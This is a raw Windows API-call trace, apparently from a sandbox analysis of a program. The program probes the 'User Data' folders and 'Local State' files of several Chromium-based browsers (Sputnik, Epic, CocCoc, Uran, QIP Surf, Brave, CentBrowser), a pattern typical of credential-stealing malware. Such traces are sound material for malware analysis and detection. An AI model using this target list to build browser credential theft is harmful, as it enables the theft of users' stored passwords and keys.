lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\" [0097.829] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\" [0097.829] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\Local State" [0097.829] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0097.830] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x86) returned 0x3430048 [0097.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=67, lpWideCharStr=0x3430048, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\Local State") returned 67 [0097.830] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.830] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.830] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\sputnik\\user data\\local state")) returned 0xffffffff [0097.830] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.830] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.830] GetLastError () returned 0x3 [0097.830] SetLastError (dwErrCode=0x3) [0097.830] GetLastError () returned 0x3 [0097.830] SetLastError (dwErrCode=0x3) [0097.830] GetLastError () returned 0x3 [0097.830] SetLastError (dwErrCode=0x3) [0097.830] GetLastError () returned 0x3 [0097.830] SetLastError (dwErrCode=0x3) [0097.830] GetLastError () returned 0x3 [0097.830] SetLastError (dwErrCode=0x3) [0097.830] GetLastError () returned 0x3 [0097.830] SetLastError (dwErrCode=0x3) [0097.830] GetLastError () returned 0x3 [0097.830] SetLastError (dwErrCode=0x3) [0097.830] GetLastError () returned 0x3 [0097.830] SetLastError (dwErrCode=0x3) [0097.830] GetLastError () returned 0x3 [0097.831] SetLastError (dwErrCode=0x3) [0097.831] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080082, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x5e0260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6a7ea0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.831] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.831] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Epic Privacy Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\" [0097.831] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\" [0097.831] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\" [0097.831] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State" [0097.831] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0097.831] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x3430048 [0097.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=80, lpWideCharStr=0x3430048, cchWideChar=80 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State") returned 80 [0097.831] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.831] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.831] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\local state")) returned 0xffffffff [0097.831] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.831] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.832] GetLastError () returned 0x3 [0097.832] SetLastError (dwErrCode=0x3) [0097.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208009c, ftCreationTime.dwHighDateTime=0xb0, ftLastAccessTime.dwLowDateTime=0x208009c, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x16, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6b94f8, cFileName="¤ð\x19", cAlternateFileName="t")) returned 0xffffffff [0097.833] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.833] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CocCoc\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\" [0097.833] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\" [0097.833] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\" [0097.833] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State" [0097.833] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0097.833] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x94) returned 0x3430048 [0097.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=74, lpWideCharStr=0x3430048, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State") returned 74 [0097.833] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.833] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.833] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\local state")) returned 0xffffffff [0097.833] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.833] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.833] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] GetLastError () returned 0x3 [0097.834] SetLastError (dwErrCode=0x3) [0097.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080090, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080090, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x690ec0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.834] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.835] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\uCozMedia\\Uran\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\" [0097.835] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\" [0097.835] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\" [0097.835] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\Local State" [0097.835] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0097.835] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x94) returned 0x3430048 [0097.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=74, lpWideCharStr=0x3430048, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\Local State") returned 74 [0097.835] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.835] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.835] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\ucozmedia\\uran\\user data\\local state")) returned 0xffffffff [0097.835] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.835] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.835] GetLastError () returned 0x3 [0097.835] SetLastError (dwErrCode=0x3) [0097.835] GetLastError () returned 0x3 [0097.835] SetLastError (dwErrCode=0x3) [0097.835] GetLastError () returned 0x3 [0097.835] SetLastError (dwErrCode=0x3) [0097.835] GetLastError () returned 0x3 [0097.836] SetLastError (dwErrCode=0x3) [0097.836] GetLastError () returned 0x3 [0097.836] SetLastError (dwErrCode=0x3) [0097.836] GetLastError () returned 0x3 [0097.836] SetLastError (dwErrCode=0x3) [0097.836] GetLastError () returned 0x3 [0097.836] SetLastError (dwErrCode=0x3) [0097.836] GetLastError () returned 0x3 [0097.836] SetLastError (dwErrCode=0x3) [0097.843] GetLastError () returned 0x3 [0097.843] SetLastError (dwErrCode=0x3) [0097.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080090, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080090, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x690ec0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.844] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.844] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\QIP Surf\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\" [0097.844] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\" [0097.844] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\" [0097.844] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\Local State" [0097.844] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0097.844] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x88) returned 0x3430048 [0097.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=68, lpWideCharStr=0x3430048, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\Local State") returned 68 [0097.844] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.844] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.844] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\qip surf\\user data\\local state")) returned 0xffffffff [0097.844] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.844] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.844] GetLastError () returned 0x3 [0097.844] SetLastError (dwErrCode=0x3) [0097.844] GetLastError () returned 0x3 [0097.844] SetLastError (dwErrCode=0x3) [0097.845] GetLastError () returned 0x3 [0097.845] SetLastError (dwErrCode=0x3) [0097.845] GetLastError () returned 0x3 [0097.845] SetLastError (dwErrCode=0x3) [0097.845] GetLastError () returned 0x3 [0097.845] SetLastError (dwErrCode=0x3) [0097.845] GetLastError () returned 0x3 [0097.845] SetLastError (dwErrCode=0x3) [0097.845] GetLastError () returned 0x3 [0097.845] SetLastError (dwErrCode=0x3) [0097.845] GetLastError () returned 0x3 [0097.845] SetLastError (dwErrCode=0x3) [0097.845] GetLastError () returned 0x3 [0097.845] SetLastError (dwErrCode=0x3) [0097.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080084, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x5e0260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6a7ea0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.846] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.847] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\brave\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\" [0097.847] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\" [0097.847] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\" [0097.847] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State" [0097.847] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0097.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0097.847] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x6e) returned 0x3430048 [0097.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=55, lpWideCharStr=0x3430048, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State") returned 55 [0097.847] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21111c0 [0097.847] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.847] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\local state")) returned 0xffffffff [0097.847] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.847] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.847] GetLastError () returned 0x3 [0097.847] SetLastError (dwErrCode=0x3) [0097.847] GetLastError () returned 0x3 [0097.847] SetLastError (dwErrCode=0x3) [0097.847] GetLastError () returned 0x3 [0097.847] SetLastError (dwErrCode=0x3) [0097.847] GetLastError () returned 0x3 [0097.847] SetLastError (dwErrCode=0x3) [0097.847] GetLastError () returned 0x3 [0097.847] SetLastError (dwErrCode=0x3) [0097.847] GetLastError () returned 0x3 [0097.848] SetLastError (dwErrCode=0x3) [0097.848] GetLastError () returned 0x3 [0097.848] SetLastError (dwErrCode=0x3) [0097.848] GetLastError () returned 0x3 [0097.848] SetLastError (dwErrCode=0x3) [0097.848] GetLastError () returned 0x3 [0097.848] SetLastError (dwErrCode=0x3) [0097.848] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208006a, ftCreationTime.dwHighDateTime=0x80, ftLastAccessTime.dwLowDateTime=0x208006a, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x10, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6d7318, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.848] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.848] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CentBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\" [0097.848] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\" [0097.848] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\" [0097.848] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State" [0097.848] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0097.848] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8e) returned 0x3430048 [0097.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=71, lpWideCharStr=0x3430048, cchWideChar=71 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State") returned 71 [0097.848] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.849] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.849] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\local state")) returned 0xffffffff [0097.849] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 